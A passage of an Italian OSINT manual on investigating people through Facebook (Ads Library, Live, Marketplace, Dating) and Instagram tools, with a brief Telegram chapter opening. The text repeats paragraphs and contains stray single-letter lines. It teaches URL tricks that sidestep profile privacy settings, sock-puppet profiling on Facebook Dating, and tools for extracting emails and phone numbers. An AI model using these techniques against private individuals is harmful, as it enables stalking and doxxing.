L'uso della ADS Library per fini OSINT si rivela particolarmente potente durante le campagne. L'analisi delle strategie pubblicitarie dei candidati, per esempio, può fornire spunti interessanti sui temi caldi e sull'orientamento geografico del messaggio. Uno può vedere chiaramente quanto denaro è stato speso per promuovere un contenuto e in quali aree geografiche è stato maggiormente targettizzato.

Ma ti chiederai: come si usa pratica questa "biblioteca"? Semplice, inizia recandoti sul sito ufficiale della Facebook ADS Library. Una volta lì, hai la possibilità di ricercare per parole chiave, categorie, e persino nomi di pagine o annunci particolari. È inclusa anche una opzione per filtrare i risultati per paese, molto utile nel caso stiate lavorando su una ricerca con un focus specifico geografico.

Un altro elemento utile è la possibilità di vedere la "cronologia" di un annuncio. Questo significa che possiamo analizzare i cambiamenti nel messaggio pubblicitario, che spesso riflettono una certa reazione alle dinamiche di mercato o politiche. Questo può rivelare le strategie adottate e se ci sono stati adattamenti nella campagna a fronte di determinati eventi.

Parlando di trasparenza, si può anche vedere chi ha effettivamente pagato per l'annuncio fornendo quindi una chiara visione delle entità o individui che stanno finanziando determinate campagne. Inoltre, è possibile vedere come è stata targettizzata la pubblicità, inclusi dettagli come età, sesso e localizzazione del pubblico.

Da un punto di vista tecnico, se ci dedicassimo a seguire un annuncio di nostro interesse potremmo ricevere notifiche quando cambia o quando ne vengono creati di nuovi correlati. Questo ci permette di tenere il dito sul polso della campagna pubblicitaria che stiamo monitorando.

Ovviamente, per chi si diletta con i dati, la Facebook ADS Library offre la possibilità di scaricare report sulle campagne. Puoi ottenere file con dati grezzi che, una volta importati in fogli di

calcolo o database, possono essere interrogati, analizzati e visualizzati in maniera più consona alle tue esigenze di analisi.

Un aspetto chiave da ricordare, soprattutto per gli studenti e professionisti dell'OSINT, è che spesso le pubblicità raccontano storie. Analizzando ciò che una pagina pubblicizza, possiamo intercettare interessi specifici, promozioni dirette a nicchie particolari, o tentativi di influenzare il pubblico. Questo può essere particolarmente rilevante quando le pagine sono collegate a organizzazioni o a figure pubbliche.

Inoltre, la ADS Library può essere un ottimo strumento per il factchecking. Grazie alla trasparenza delle informazioni riguardanti le pubblicità politiche, è semplice verificare chi sta promuovendo cosa e mettere in luce eventuali tentativi di disinformazione.

Ma attenzione, mentre è vero che la ADS Library è uno strumento potente, deve essere usato con giudizio critico. La pubblicità, come sappiamo, è pensata per persuadere e talvolta per ingannare. È quindi necessario affinare le proprie capacità di analisi e comprensione dei dati pubblicitari.

Infine, per un utilizzo avveduto della Facebook ADS Library nell'ambito dell'OSINT, è consigliabile abbinare i dati raccolti con altre fonti di informazioni. Questo approccio triangolare garantisce una comprensione più robusta e conferma le ipotesi raccolte da varie angolazioni.

La ADS Library è quindi una miniera d'oro per gli studenti e professionisti dell'OSINT, una risorsa che, se usata saviamente, può aprire una finestra sui trend, strategie e meccanismi che guidano l'informazione e la pubblicità sulla piattaforma più grande del mondo. L'analisi delle pubblicità ti può fornire un dettaglio che magari è sfuggito agli altri, un puzzle di informazioni da assemblare con cura per formare un'immagine più ampia della realtà che si studia.

calcolo o database, possono essere interrogati, analizzati e visualizzati in maniera più consona alle tue esigenze di analisi.

Un aspetto chiave da ricordare, soprattutto per gli studenti e professionisti dell'OSINT, è che spesso le pubblicità raccontano storie. Analizzando ciò che una pagina pubblicizza, possiamo intercettare interessi specifici, promozioni dirette a nicchie particolari, o tentativi di influenzare il pubblico. Questo può essere particolarmente rilevante quando le pagine sono collegate a organizzazioni o a figure pubbliche.

Inoltre, la ADS Library può essere un ottimo strumento per il factchecking. Grazie alla trasparenza delle informazioni riguardanti le pubblicità politiche, è semplice verificare chi sta promuovendo cosa e mettere in luce eventuali tentativi di disinformazione.

Ma attenzione, mentre è vero che la ADS Library è uno strumento potente, deve essere usato con giudizio critico. La pubblicità, come sappiamo, è pensata per persuadere e talvolta per ingannare. È quindi necessario affinare le proprie capacità di analisi e comprensione dei dati pubblicitari.

Infine, per un utilizzo avveduto della Facebook ADS Library nell'ambito dell'OSINT, è consigliabile abbinare i dati raccolti con altre fonti di informazioni. Questo approccio triangolare garantisce una comprensione più robusta e conferma le ipotesi raccolte da varie angolazioni.

La ADS Library è quindi una miniera d'oro per gli studenti e professionisti dell'OSINT, una risorsa che, se usata saviamente, può aprire una finestra sui trend, strategie e meccanismi che guidano l'informazione e la pubblicità sulla piattaforma più grande del mondo. L'analisi delle pubblicità ti può fornire un dettaglio che magari è sfuggito agli altri, un puzzle di informazioni da assemblare con cura per formare un'immagine più ampia della realtà che si studia.

OSINT SU FACEBOOK LIVE

Sei mai incappato in un video in diretta su Facebook chiedendoti se ci fossero informazioni nascoste che avrebbero potuto essere utili per una ricerca OSINT? Bene, sei nel posto giusto per scoprirlo!

Facebook Live è una funzionalità di Facebook che consente agli utenti di trasmettere video in tempo reale ai loro amici e follower. Mentre molti utilizzano questa funzione per condividere momenti di vita quotidiana o eventi in diretta, Facebook Live può rivelarsi una miniera d'oro per l'OSINT.

Una diretta su Facebook è spesso meno curata di un post tradizionale; le persone tendono a essere più spontanee e rilassate, cosa che può portare a fornire, senza volerlo, informazioni preziose. Per esempio, presta attenzione all'ambiente circostante la persona che sta trasmettendo: ci sono immagini o poster sul muro? Si riconoscono inquadrature di luoghi famosi o particolari? Questi dettagli possono aiutarti a determinare la posizione dell'utente.

Inoltre, i commenti in diretta possono essere altrettanto significativi. Le persone che guardano e interagiscono potrebbero rivelare dettagli su di loro o sulla persona che sta trasmettendo, che potrebbero essere nascosti altrove sulla piattaforma.

Un altro aspetto da considerare sono gli hashtag e le descrizioni usate nella trasmissione, che potrebbero indirizzarti verso una comunità o un evento specifico. Questo può essere un ottimo punto di partenza per una ricerca approfondita.

La geolocalizzazione può essere un tesoro di informazioni. A volte, durante una diretta, può apparire un'etichetta di geolocalizzazione. Se ciò accade, hai un punto di riferimento geografico da cui iniziare le tue indagini.

Considera anche il linguaggio corporeo e le interazioni visive delle persone presenti nel video. Potrebbero, per esempio, salutare qualcuno che passa o riferirsi a luoghi vicini. Anche questi piccoli indizi possono aiutarti a stringere il cerchio intorno alla tua ricerca.

E che dire della valutazione degli orari di trasmissione? Controllare a che ora va in onda la diretta può suggerire il fuso orario dell'utente, un'informazione apparentemente banale ma che può essere determinante.

Anche la musica di sottofondo, quando presente, può offrire indizi. La musica in una live può essere collegata a una emittente radio locale, un festival o un evento che sta avvenendo nella stessa area.

Ora, per iniziare con l'OSINT su Facebook Live, potresti voler utilizzare strumenti come Graph API per cercare dirette recenti o creare alert che ti informano quando un certo utente inizia a trasmettere.

Non sottovalutare l'importanza di annotare le tue scoperte. Durante una live, prenditi il tempo per scrivere qualsiasi potenziale via di indagine; una volta terminata la trasmissione, il video potrebbe non essere più disponibile o potresti avere un accesso limitato alle informazioni.

Infine, tieni sempre a mente la legalità e l'etica. Mentre raccogliere informazioni pubbliche è permesso, evita di infrangere la privacy degli utenti o di ricorrere a metodi illeciti.

Per concludere, ogni diretta Facebook è un evento unico e inaspettato, puoi incontrare sorprese ogni volta che apri uno streaming. Tieni gli occhi aperti, perché non sai mai cosa potresti scoprire la prossima volta che qualcuno decide di premere il pulsante "Live".

Come sempre, usare i dati raccolti con saggezza e discrezione a scopi legittimi di OSINT è la chiave per mantenere integrità e professionalità nel campo delle indagini aperte. Prima di applicare questi concetti nella pratica, assicurati di avere una solida comprensione dell'argomento e dell'incidere etico delle tue azioni.

Con questi strumenti e consigli, potrai iniziare ad avventurarti nell'affascinante mondo dell'OSINT su Facebook Live, raccogliendo pezzetti di informazione che, messi insieme, possono dipanare anche i più complessi dei misteri.

»

»

Ora, per iniziare con l'OSINT su Facebook Live, potresti voler utilizzare strumenti come Graph API per cercare dirette recenti o creare alert che ti informano quando un certo utente inizia a trasmettere.

Non sottovalutare l'importanza di annotare le tue scoperte. Durante una live, prenditi il tempo per scrivere qualsiasi potenziale via di indagine; una volta terminata la trasmissione, il video potrebbe non essere più disponibile o potresti avere un accesso limitato alle informazioni.

Infine, tieni sempre a mente la legalità e l'etica. Mentre raccogliere informazioni pubbliche è permesso, evita di infrangere la privacy degli utenti o di ricorrere a metodi illeciti.

Per concludere, ogni diretta Facebook è un evento unico e inaspettato, puoi incontrare sorprese ogni volta che apri uno streaming. Tieni gli occhi aperti, perché non sai mai cosa potresti scoprire la prossima volta che qualcuno decide di premere il pulsante "Live".

Come sempre, usare i dati raccolti con saggezza e discrezione a scopi legittimi di OSINT è la chiave per mantenere integrità e professionalità nel campo delle indagini aperte. Prima di applicare questi concetti nella pratica, assicurati di avere una solida comprensione dell'argomento e dell'incidere etico delle tue azioni.

Con questi strumenti e consigli, potrai iniziare ad avventurarti nell'affascinante mondo dell'OSINT su Facebook Live, raccogliendo pezzetti di informazione che, messi insieme, possono dipanare anche i più complessi dei misteri.

OSINT SU FACEBOOK MARKETPLACE E MANIPOLAZIONE DEL URL

E esplorare Facebook Marketplace può aprirci la strada a delle piste investigative sorprendentemente ricche. Quest'area, dedicata alla compravendita tra utenti, può fornirci informazioni preziose su individui e tendenze locali. Vediamo, perciò, come possiamo effettuarle attraverso la manipolazione del URL.

Gli URL di Marketplace contengono diversi parametri che possiamo modificare per restringere o espandere la nostra ricerca. Per esempio, possiamo filtrare gli annunci per luogo, categoria di prodotto, profilo, prezzo e persino la data di inserimento. Questo ci permette di monitorare attività specifiche su una zona geografica per identificare schemi o tendenze.

Per iniziare, andiamo su Marketplace e scegliamo una categoria. Noteremo che l'URL cambia assegnando un codice specifico a quella categoria. Questo è utile perché abbiamo la possibilità di cercare annunci simili in altre aree semplicemente modificando il parametro relativo alla posizione geografica nell'URL.

Per esempio, aprendo il profilo di un venditore qualsiasi noteremo nel URL il seguente cambiamento:

<https://www.facebook.com/marketplace/profile/IDUTENTE>

Va da sé che sostituendo l'ID del utente marketplace con l'ID del nostro target, otterremo tutti gli annunci pubblicati (anche in passato almeno che non siano stati cancellati) dal nostro target.

Altro aspetto essenziale è il prezzo. Aggiungendo parametri specifici all'URL, possiamo cercare prodotti che rientrano in un range di prezzo che ci interessa. Questo ci aiuta a identificare se qualcuno sta cercando di vendere un oggetto a un prezzo sospettosamente basso, il che può suggerire il bisogno urgente di liquidare beni oppure la vendita di merce rubata o contraffatta.

Una delle parti più interessanti è quella legata alla data dell'inserimento degli annunci. Modificando l'URL per includere una data specifica, possiamo vedere quali articoli sono stati messi in vendita in un determinato giorno. Questo può essere cruciale se stiamo cercando di collegare una persona a un evento specifico.

Ma come procediamo con la manipolazione dell'URL? Partiamo da una semplice osservazione: quando applichiamo dei filtri alla nostra ricerca, l'URL presente nella barra degli indirizzi cambia, incorporando queste nostre scelte. Osservandolo attentamente, possiamo decifrare quali parametri corrispondano a quali filtri.

Un esempio potrebbe essere il parametro che indica la località. Se ci troviamo a dover indagare su una persona in una certa città, possiamo semplicemente sostituire il valore geografico presente nell'URL con il nome della città di nostro interesse. Questo immediatamente aggiorna i risultati di ricerca per la località desiderata.

Inoltre, possiamo usare la manipolazione dell'URL per bypassare alcune delle limitazioni imposte dall'interfaccia utente di Marketplace. Volendo, per esempio, estendere la ricerca oltre il limite di distanza massimo normalmente impostato dal sito, si può modificare direttamente l'URL, aumentando il valore del raggio di distanza.

Un altro espediente utile è quello di esportare questi dati. Non c'è un pulsante che ci permette di farlo direttamente da Marketplace, ma ragionando in termini di manipolazione degli URL, si può automatizzare questo processo tramite tecniche di scraping (opportunamente regolate per agire in conformità con le normative vigenti sulla privacy).

Non dimentichiamo il potere dei social network nelle investigazioni

OSINT. Le informazioni che un utente inserisce in un annuncio di Marketplace possono rivelare molto su di lui, compresi stile di vita, interessi e abitudini di consumo. Elementi come la frequenza con cui un utente vende oggetti o gli oggetti stessi possono offrire indizi significativi.

Il tassello finale consiste nell'analisi del testo presente negli annunci. Spesso, gli utenti non si limitano a mettere in vendita un prodotto, ma si esprimono in maniera più o meno personale nel testo dell'annuncio. Un linguaggio specifico, l'uso di particolari espressioni o errori possono servire a identificare una persona anche in assenza di foto o di dati espliciti.

Per summa, la manipolazione dell'URL su Facebook Marketplace è una tecnica estremamente potente per chi conduce investigazioni OSINT. Sfruttandola con saggezza e attenzione etica, si può accedere a una miniera d'oro di informazioni utili. Ovviamente, è essenziale sempre rispettare la privacy altrui e le leggi vigenti: l'OSINT è uno strumento potente ma deve essere impiegato responsabilmente.

Un altro esempio di manipolazione dell'URL potrebbe essere il seguente:

<https://www.facebook.com/profile/IDUTENTE/search/?q=STRINGADIRICERCA>

Nel caso in cui una persona avesse una particolare impostazione della privacy che non ci consente la ricerca interna al profilo direttamente dall'interfaccia grafica, potremmo sempre utilizzare la manipolazione dell'URL per ottenere comunque i risultati aspettati.

Per farlo basterà sostituire alla ricerca precedente, l'id del nostro target e la query da ricercare.

Chiudiamo ricordando che, come per ogni tecnica OSINT, è fondamentale documentare e verificare accuratamente ogni informazione raccolta. La capacità di leggere tra le righe e di riconoscere correlazioni nascoste tra i dati può fare la differenza nel successo delle nostre ricerche.

i

l

e

i

ò

n

e

a

i

l

o

Chiudiamo ricordando che, come per ogni tecnica OSINT, è fondamentale documentare e verificare accuratamente ogni informazione raccolta. La capacità di leggere tra le righe e di riconoscere correlazioni nascoste tra i dati può fare la differenza nel successo delle nostre ricerche.

ESPORTARE I COMMENTI DI UN POST

Parlando di OSINT su Facebook, non possiamo ignorare l'importanza di analizzare i comment presenti in un post. Questi dati possono rivelare informazioni preziose sugli utenti, il loro grado di interazione e i loro sentimenti riguardo un certo argomento. Ma come possiamo fare per esportare tutti questi commenti? Vediamolo insieme.

Per cominciare, devi trovare il post di tuo interesse. Magari stai monitorando una persona sospetta o semplicemente raccogliendo dati per un progetto di ricerca. Una volta individuato il post, esistono diversi modi per procedere all'esportazione dei commenti.

Un primo metodo potrebbe essere utilizzare le funzionalità di Facebook stesso. Per post con pochi commenti, potresti manualmente copiare e incollare i dati necessari su un documento. Tuttavia, questo metodo è chiaramente non fattibile per post con centinaia o migliaia di commenti.

Quindi, quale soluzione possiamo adottare? Un'opzione è ricorrere a delle estensioni per browser progettate per scaricare i dati dai post di Facebook. Estensioni come “*Facebook Comment Extractor*” possono essere installate su browser come Chrome o Firefox e sono abbastanza intuitive da usare.

Per usare queste estensioni, basta accedere alla pagina del post di interesse e avviare lo strumento. Il tool quindi comincerà a raccogliere tutti i commenti, che potrai poi esportare in formati come CSV o Excel, più maneggevoli per un'analisi successiva.

Un'altra strategia è affidarsi a software di terze parti che, dopo aver autorizzato l'accesso al tuo account Facebook, permettono di scaricare i commenti. Strumenti come “*Socmint*” o “*Netvizz*” per esempio, sono popolari tra gli analisti OSINT per la loro capacità di estrazione.

Usare questi strumenti richiede però attenzione. Da un punto di vista etico e di privacy, è fondamentale assicurarsi che l'uso di tali strumenti sia conforme alle normative locali e alle regole di Facebook.

Una volta esportati i commenti, potresti trovarti di fronte a una quantità impressionante di dati. Come puoi gestirli? Uno dei passi iniziali potrebbe essere usare filtri per ordinare i commenti per data, autore o altre metriche che ritieni importanti.

Dopo il triage, si passa all'analisi qualitativa dei dati. Evidenzia i temi ricorrenti, il *sentiment*, le posizioni di influencer o persone con molti seguaci, e qualsiasi altro pattern che emerge dai commenti.

L'analisi dei dati potrebbe poi essere approfondita utilizzando software di analisi testuale come *"NVivo"* o *"MAXQDA"*, che permettono un esame più dettagliato del linguaggio e delle strutture dei commenti.

È inoltre utile effettuare un'analisi quantitativa. Alcuni strumenti ti permettono di visualizzare metriche come numero di commenti per utente, frequenza delle parole, e gli orari principali di attività. Questo ti dà un senso di come l'argomento del post viene discusso e a che ritmo.

Nella tua stanza degli strumenti OSINT, non dimenticare anche l'utilizzo di big data e software di apprendimento automatico. Piattaforme come *"R"* o *"Python"*, con librerie specifiche per l'analisi del testo, possono aiutarti a scoprire insights che non sarebbero evidenti altrimenti.

Infine, ricorda che l'interpretazione dei dati raccolti dal Facebook dovrebbe sempre avvenire con un occhio di riguardo per il contesto. I commenti sono parte di conversazioni più grandi, e trarre conclusioni senza tenere conto del contesto potrebbe portare ad analisi inesatte.

In conclusione, esportare e analizzare i commenti di un post su Facebook può sembrare un compito massiccio, ma con i giusti strumenti e approcci metodologici, puoi trasformare quei dati in intuizioni preziose. Che tu stia conducendo un'indagine privata, facendo ricerca accademica o lavorando in ambito giornalistico, l'analisi dei commenti può essere un asset fondamentale nel tuo arsenale OSINT.

Ricorda, l'OSINT richiede precisione, pazienza e un costante aggiornamento sulle tecniche e gli strumenti disponibili. Come abbiamo visto, esistono diverse vie per esportare i commenti di un post su Facebook. A te la scelta di quale metodo si addica meglio alle tue esigenze di ricerca e analisi. La prossima volta che ti imbatteai in un post degno di nota, avrai tutte le competenze per sviscerare i commenti e trarne le informazioni che desideri.

è

e

r

e

i

L'analisi dei dati potrebbe poi essere approfondita utilizzando software di analisi testuale come “NVivo” o “MAXQDA”, che permettono un esame più dettagliato del linguaggio e delle strutture dei commenti.

È inoltre utile effettuare un'analisi quantitativa. Alcuni strumenti ti permettono di visualizzare metriche come numero di commenti per utente, frequenza delle parole, e gli orari principali di attività. Questo ti dà un senso di come l'argomento del post viene discusso e a che ritmo.

Nella tua stanza degli strumenti OSINT, non dimenticare anche l'utilizzo di big data e software di apprendimento automatico. Piattaforme come “R” o “Python”, con librerie specifiche per l'analisi del testo, possono aiutarti a scoprire insights che non sarebbero evidenti altrimenti.

Infine, ricorda che l'interpretazione dei dati raccolti dal Facebook dovrebbe sempre avvenire con un occhio di riguardo per il contesto. I commenti sono parte di conversazioni più grandi, e trarre conclusioni senza tenere conto del contesto potrebbe portare ad analisi inesatte.

In conclusione, esportare e analizzare i commenti di un post su Facebook può sembrare un compito massiccio, ma con i giusti strumenti e approcci metodologici, puoi trasformare quei dati in intuizioni preziose. Che tu stia conducendo un'indagine privata, facendo ricerca accademica o lavorando in ambito giornalistico, l'analisi dei commenti può essere un asset fondamentale nel tuo arsenale OSINT.

Ricorda, l'OSINT richiede precisione, pazienza e un costante aggiornamento sulle tecniche e gli strumenti disponibili. Come abbiamo visto, esistono diverse vie per esportare i commenti di un post su Facebook. A te la scelta di quale metodo si addica meglio alle tue esigenze di ricerca e analisi. La prossima volta che ti imbatteai in un post degno di nota, avrai tutte le competenze per sviscerare i commenti e trarne le informazioni che desideri.

OSINT SU FACEBOOK DATING

E ntrando nel vivo delle potenzialità di Facebook a scopo OSINT, soffermiamoci ora su un servizio relativamente nuovo: Facebook Dating. Questa funzionalità, introdotta dal colosso dei social network, apre nuove frontiere per gli investigatori OSINT, offrendo l'accesso a fonti informative fino ad ora non considerate.

Facebook Dating si pone come diretto concorrente di app di incontri come Tinder o Bumble. Mettendo a disposizione dei propri utenti una piattaforma di dating integrata, Facebook permette di creare un profilo di appuntamenti separato dal proprio profilo regolare. Ecco come questo può diventare un terreno fertile per l'OSINT.

Innanzitutto, gli utenti tendono a fornire informazioni personali con l'obiettivo di attrarre potenziali partner. Questo include non solo interessi e hobby, ma talvolta dati più dettagliati come localizzazione, istruzione e lavoro. Queste informazioni possono essere raccolte per creare un profilo molto accurato della persona.

Bisogna però operare con discrezione e rispettando la privacy. Utilizzando un account fittizio o "sock puppet", come anteriormente descritto, si può accedere a Facebook Dating. Tuttavia, la creazione di un "sock puppet" per uso OSINT su Facebook Dating presenta delle sfide etiche e deve essere fatta con attenzione per non violare le linee guida della piattaforma.

Una volta all'interno di Facebook Dating, si può eseguire una ricerca che prende in considerazione diversi filtri, da quelli demografici a quelli basati sugli interessi. L'analisi dei profili che emergono da queste ricerche consente di estrapolare pattern comportamentali o reti sociali spesso celate nel profilo principale dell'utente.

Non bisogna ignorare foto e immagini presenti sui profili. La ricerca inversa delle immagini può portare alla scoperta di altri profili social dell'individuo su differenti piattaforme, fornendo così ulteriori dati e connessioni.

Altra funzione intrigante di Facebook Dating è la possibilità di visualizzare chi è interessato a eventi o gruppi che si frequenta. Questo può offrire l'opportunità di individuare persone con cui si condivide uno spazio comune, sia esso virtuale o reale, e di ampliare le reti da cui raccogliere informazioni.

È anche possibile osservare i "Match" e i "Like" dati da un utente, studiando le scelte e le interazioni per analizzare le preferenze e imprevedibili connessioni sociali. Questi elementi possono essere inestimabili per comprendere meglio il network di una persona.

Una peculiarità impressionante di Facebook Dating è che non mostra gli amici di Facebook tra potenziali match, ma questa limitazione può essere aggirata studiando gli amici in comun visualizzati in altri spazi. Questo offre un indizio su come gli ambienti sociali dell'individuo s interfaccino.

Infine, per un'operazione OSINT meticolosa, è fondamentale rimanere aggiornati. Facebook Dating è ancora una piattaforma in evoluzione e le nuove caratteristiche che verranno aggiunte potrebbero aprirlo ulteriormente a una profonda analisi OSINT.

Per concludere, ricordiamo che l'utilizzo di Facebook Dating per ricerche OSINT deve essere sempre eseguito tenendo in considerazione l'etica professionale e le normative vigenti specialmente quelle sulla privacy. L'obiettivo è sempre raccogliere informazioni senza ledere la dignità e l'intimità delle persone coinvolte.

L'analisi OSINT su Facebook Dating, se approcciata con precisione e criterio, può essere una miniera d'oro di informazioni inaspettate per indagini più vaste. La chiave è mantenere un approccio metodico, rispettando i confini imposti dalle politiche della piattaforma e della legge.

In ultima analisi, sfruttare le funzionalità di Facebook Dating a scopo OSINT è un tassello che si aggiunge alla più ampia mosaicatura delle tecniche di raccolta dati. La continua evoluzione dei social media richiede un aggiornamento costante da parte degli analisti OSINT, per assicurare che le tecniche siano sempre efficaci e rispettose dei regolamenti.

Quindi, mentre procedete in questa direzione, tenete sempre ben presente che la magia dell'OSINT risiede nella sua capacità di fare pieno uso delle informazioni già esistenti e apertamente disponibili, senza infrangere la fiducia degli utenti o la legalità. Attraverso Facebook Dating, come attraverso altre funzionalità dei social media, continuate la tua ricerca con integrità e acume.

e

i

Una peculiarità impressionante di Facebook Dating è che non mostra gli amici di Facebook tra i potenziali match, ma questa limitazione può essere aggirata studiando gli amici in comune visualizzati in altri spazi. Questo offre un indizio su come gli ambienti sociali dell'individuo si interfaccino.

Infine, per un'operazione OSINT meticolosa, è fondamentale rimanere aggiornati. Facebook Dating è ancora una piattaforma in evoluzione e le nuove caratteristiche che verranno aggiunte potrebbero aprirlo ulteriormente a una profonda analisi OSINT.

Per concludere, ricordiamo che l'utilizzo di Facebook Dating per ricerche OSINT deve essere sempre eseguito tenendo in considerazione l'etica professionale e le normative vigenti, specialmente quelle sulla privacy. L'obiettivo è sempre raccogliere informazioni senza ledere la dignità e l'intimità delle persone coinvolte.

L'analisi OSINT su Facebook Dating, se approcciata con precisione e criterio, può essere una miniera d'oro di informazioni inaspettate per indagini più vaste. La chiave è mantenere un approccio metodico, rispettando i confini imposti dalle politiche della piattaforma e della legge.

In ultima analisi, sfruttare le funzionalità di Facebook Dating a scopo OSINT è un tassello che si aggiunge alla più ampia mosaicatura delle tecniche di raccolta dati. La continua evoluzione dei social media richiede un aggiornamento costante da parte degli analisti OSINT, per assicurare che le tecniche siano sempre efficaci e rispettose dei regolamenti.

Quindi, mentre procedete in questa direzione, tenete sempre ben presente che la magia dell'OSINT risiede nella sua capacità di fare pieno uso delle informazioni già esistenti e apertamente disponibili, senza infrangere la fiducia degli utenti o la legalità. Attraverso Facebook Dating, come attraverso altre funzionalità dei social media, continuate la tua ricerca con integrità e acume.

Capitolo 9: Instagram

Sei appena diventato un asso nell'OSINT dorkando Google e scrutando le sfaccettature di Facebook, ma non dimentichiamoci di Instagram e quelle piattaforme che sembrano fatti solo per i selfie e le storie. Qui è dove il gioco si fa duro! Immagini con geotag, hashtag strategici e biografie che nascondono indizi preziosi; iniziare a capire il potenziale di Instagram in termini di raccolta dati ti aprirà un mondo incredibile. E non solo Instagram, ci sono altre gemme nascoste del web pronte a essere esplorate. Quali sono? Quante informazioni possono rivelare sull'utenza? In questo capitolo scenderemo nei meandri delle piattaforme meno battute ma non meno fruttuose, imparando non solo a guardare, ma a vedere attraverso il rumore di fondo dei social.

Capitolo 9: Instagram

Sei appena diventato un asso nell'OSINT dorkando Google e scrutando le sfaccettature di Facebook, ma non dimentichiamoci di Instagram e quelle piattaforme che sembrano fatti solo per i selfie e le storie. Qui è dove il gioco si fa duro! Immagini con geotag, hashtag strategici e biografie che nascondono indizi preziosi; iniziare a capire il potenziale di Instagram in termini di raccolta dati ti aprirà un mondo incredibile. E non solo Instagram, ci sono altre gemme nascoste del web pronte a essere esplorate. Quali sono? Quante informazioni possono rivelare sull'utenza? In questo capitolo scenderemo nei meandri delle piattaforme meno battute ma non meno fruttuose, imparando non solo a guardare, ma a vedere attraverso il rumore di fondo dei social.

OSINT SU INSTAGRAM E PRINCIPALI TOOLS

Instagram è un universo visuale ricco di informazioni per l'appassionato di OSINT e ingegneria sociale. Ogni giorno milioni di fotografie e storie vengono condivise, molte delle quali contengono preziosi indizi e dati. Comprenderne le dinamiche risulta fondamentale per chiunque voglia ampliare le proprie competenze nel campo dell'intelligence.

Partendo dalla ricerca di base, Instagram permette di cercare utenti, hashtag e luoghi direttamente tramite la barra di ricerca dell'app. Potresti essere sorpreso di quanto si può trovare semplicemente utilizzando tecniche di ricerca mirate e parole chiave ben pensate. È una forma d'arte forgiata dall'osservazione e dalla creatività.

Ci sono tool specifici che possono aumentare enormemente l'efficacia dell'OSINT su Instagram. Per esempio, *GramoTool* è una piattaforma che consente di analizzare profondamente i dati relativi agli utenti di Instagram, come le statistiche delle attività e gli interessi comuni tra follower. Si tratta di un modo per vedere oltre il singolo post.

Un altro strumento fondamentale è *InstaLoadGram*. Questo servizio online permette di scaricare foto e video da Instagram senza compromessi sulla qualità. Può essere particolarmente utile quando si necessita di analizzare il contenuto offline o in un contesto differente.

Oltre agli strumenti che consentono il download di media, bisogna citare anche quelli per l'analisi dei follower, come *Iconosquare*. Questo tool fornisce un'esauriente analisi demografica e comportamentale dei seguaci di un profilo, utile per delineare una mappa dei collegamenti di un utente.

Non possiamo dimenticarci di *Websta*, un servizio che offre insight avanzati e statistiche dei profili Instagram. È prezioso per capire andamenti e momenti migliori per postare. Dato che il timing è anche un campo di studio interessante per chi si occupa di OSINT, questo strumento può rivelarsi estremamente utile.

Tuttavia, la vera magia avviene quando un'indagine OSINT si concentra sugli indizi visivi.

L'analisi di immagini e video con strumenti come *Google Reverse Image Search* può svelare la fonte originale di un'immagine e dove altrove è stata utilizzata, aprendo nuovi filoni di indagine.

Fondamentale risultano poi la conoscenza e la competenza nell'utilizzo di *Pipl*, che può aiutare a trovare profili Instagram tramite indirizzi e-mail o al contrario risalire a e-mail collegabili a profili Instagram. Questo tipo di ricerca incrociata apre la porta a nuove scoperte nella rete di connessioni di un individuo.

Non dimentichiamoci di *StorySaver*, uno strumento essenziale per salvare le storie Instagram che, come sappiamo, scompaiono dopo ventiquattro ore. Sapere cosa una persona ha scelto di condividere, anche momentaneamente, può offrire una prospettiva intrigante sulla sua vita.

Un altro aspetto chiave è l'analisi dei metadati. Se individuiamo foto postate anche all'esterno di Instagram, potrebbero contenere dati EXIF che possono rivelare il luogo e l'ora dello scatto. Strumenti come *ExifTool* possono estrarre queste informazioni e potenzialmente rivelare la posizione di un soggetto o la routine abituale.

L'utilizzo di bot e script per monitorare account e hashtag specifici è anche un'arma nell'arsenale di un ricercatore OSINT. L'automazione può raccogliere una considerevole quantità di dati in breve tempo, che poi possono essere analizzati e utilizzati per trarre conclusioni.

Parlando di analisi, non si può prescindere da strumenti di visualizzazione dati come *NodeXL* che permette di creare grafici e reti interconnesse a partire dai dati raccolti. Questo sito offre una rappresentazione visiva delle relazioni e degli schemi che emergono dall'OSINT su Instagram.

Infine, non sottovalutare mai la forza degli strumenti di steganografia per individuare messaggi nascosti all'interno delle immagini. *Stegonline* è una piattaforma online che può aiutare a rivelare se un'immagine contiene dati o testo codificato che non è visibile ad occhio nudo.

La combinazione di questi strumenti, insieme ad approfondite conoscenze e tecniche raffinate semplifica e potenzia notevolmente le indagini su Instagram. Integrando tutti questi elementi l'analisi OSINT diventa un processo straordinariamente potente per scoprire dettagli e connessioni che altrimenti rimarrebbero invisibili.

Esistono poi script come *Toutatis*, che potrebbero consentire l'ottenimento di indirizzi e-mail e numeri telefonici a partire da un profilo Instagram anche se spesso in maniera limitata.

Essenziale è anche mantenere un atteggiamento etico e rispettoso delle normative sulla privacy. Usare questi strumenti con responsabilità è fondamentale per operare nell'ambito legale e professionale dell'OSINT e dell'ingegneria sociale.

Con questi principi in mente, l'OSINT su Instagram si apre come un campo fertile di indagine, pieno di potenzialità e sfide intellettuali. L'arte di navigare nel vasto mare di dati e informazioni offerti da questa piattaforma è un'abilità preziosa in un mondo sempre più interconnesso e digitalizzato.

i

l.

a

,

a

e

,

,

e

e

Capitolo 10: Telegram e le Sue Specificità

Proseguendo il viaggio nell'universo dell'OSINT, è tempo di addentrarsi nelle peculiarità di Telegram, un'app di messaggistica istantanea che negli ultimi anni ha guadagnato una popolarità incredibile, specie tra coloro che valorizzano la privacy e la sicurezza. In questo capitolo ci focalizzeremo sulle caratteristiche distintive di Telegram che lo rendono uno strumento prezioso per l'ingegneria sociale e la raccolta di informazioni. Indagheremo sul funzionamento della piattaforma, sugli elementi che differenziano le varie tipologie di utenze e su come effettuare la registrazione in maniera corretta. Questa comprensione approfondita di Telegram aprirà nuove porte per l'esecuzione di ricerche mirate e l'impiego di strategie OSINT più avanzate, senza dimenticare l'importanza di muoversi sempre nel rispetto delle normative vigenti in termini di legalità e privacy.

Capitolo 10: Telegram e le Sue Specificità

